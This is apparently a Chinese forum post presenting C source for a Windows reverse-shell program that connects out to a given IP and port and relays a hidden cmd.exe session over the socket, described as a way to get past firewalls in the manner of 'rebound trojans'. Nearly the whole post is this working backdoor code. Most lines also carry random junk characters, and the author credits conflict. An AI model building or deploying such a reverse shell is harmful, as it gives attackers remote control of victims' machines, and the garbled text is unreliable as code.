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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %V$^CWOy  
54k Dez  
/* ============================== \(u P{,ML  
Rebound port in Windows NT + 7Z%N9  
By wind,2006/7 NIgt"o[I  
===============================*/ giPyo"SD  
#include V; ChrmE  
#include v K$W)(Z  
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#pragma comment(lib,"wsock32.lib") cD 1p5U  
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void OutputShell(); WA<~M) rb  
SOCKET sClient; 4)`{ L$  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Aam2Y,B  
I?1^\s#L  
void main(int argc,char **argv) % $J^dF_0  
{ \d6A<(!=v  
WSADATA stWsaData; {BF$N#7  
int nRet; Dd*C?6  
SOCKADDR_IN stSaiClient,stSaiServer; D=3NI  
R_-.:n%.z  
if(argc != 3) my Po&"_ x  
{ uQ{M<%K  
printf("Useage:\n\rRebound DestIP DestPort\n"); 5!wa\)wY  
return; 1PWDK1GI8  
} y+c+/L8  
F: \CDM=lS  
WSAStartup(MAKEWORD(2,2),&stWsaData); KjhOz%Yt[o  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T3bBc  
VH8,!#Q;  
stSaiClient.sin_family = AF_INET; ^mH^cP?/  
stSaiClient.sin_port = htons(0);  G=wJz  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); M]oaWQu  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &n['#7 <(!  
{ gI[x OK#  
printf("Bind Socket Failed!\n"); q$\KE4v"  
return; 7r:!HmRl  
} ?(E$|A  
/: B!hvpw  
stSaiServer.sin_family = AF_INET; 5Ba eHzI  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); SlmgFk!r!  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Z5v\[i@H!  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @xmL?wz  
{ 7%C6gU!r  
printf("Connect Error!"); BYRf MtT@+  
return; L9@nx7D  
} B lD  
OutputShell(); p2\@E} z  
} Wq]^1g_  
W<\KRF$S;  
void OutputShell() Fvg>>HVu  
{ o4U9jU4<"  
char szBuff[1024]; <5=^s%H  
SECURITY_ATTRIBUTES stSecurityAttributes; *!vwW T  
OSVERSIONINFO stOsversionInfo; 2|m461   
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; |SCO9,Fs  
STARTUPINFO stStartupInfo; '};pu;GA7  
char *szShell; Uh{|@D  
PROCESS_INFORMATION stProcessInformation; '?4B0=  
unsigned long lBytesRead; "HlT-0F  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); y4+Km*am,W  
Oo$i,|$$  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); L~>pSP^a  
stSecurityAttributes.lpSecurityDescriptor = 0; d7A vx  
stSecurityAttributes.bInheritHandle = TRUE; (V#5Cs,o:  
N_wB  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); L2+~I<|>  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); /alJN`g  
T-0fVTeN  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); EP,lT.u3  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R e-4y5f  
stStartupInfo.wShowWindow = SW_HIDE; OLTgBXh  
stStartupInfo.hStdInput = hReadPipe; 'V/+v#V+>  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; bDK72cQ  
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GetVersionEx(&stOsversionInfo); 5*C#~gd& F  
(*F/^4p!$  
switch(stOsversionInfo.dwPlatformId) oUoDj'JN{  
{ ve<D[jQsk  
case 1: rjz$~(&m6  
szShell = "command.com"; }Dp/K4  
break; )k$ +T%  
default: @!`x^Tzz  
szShell = "cmd.exe"; 4YMX;W  
break; N 8 n`f  
} bu$YW'  
o-c.D=~  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ?`8jn$W^  
8(]*J8/wt  
send(sClient,szMsg,77,0); E0G"B' x  
while(1) _e:c 22T'  
{ 4J{6Wt";  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $9bLD >.  
if(lBytesRead) c<Fr^8  
{ ^\KZE|^3@  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >8PGyc*9  
send(sClient,szBuff,lBytesRead,0); -Q9} gaH_  
} ;<hLy(@  
else <*oTVl4fS  
{ _TEjB:9eY  
lBytesRead=recv(sClient,szBuff,1024,0); MfQ 9d9  
if(lBytesRead<=0) break; dg-nv]7  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); j`7q7}  
} @~sJ ((G[5  
} u7L&cx  
F!ZE4S_  
return; 2!QQypQ  
}
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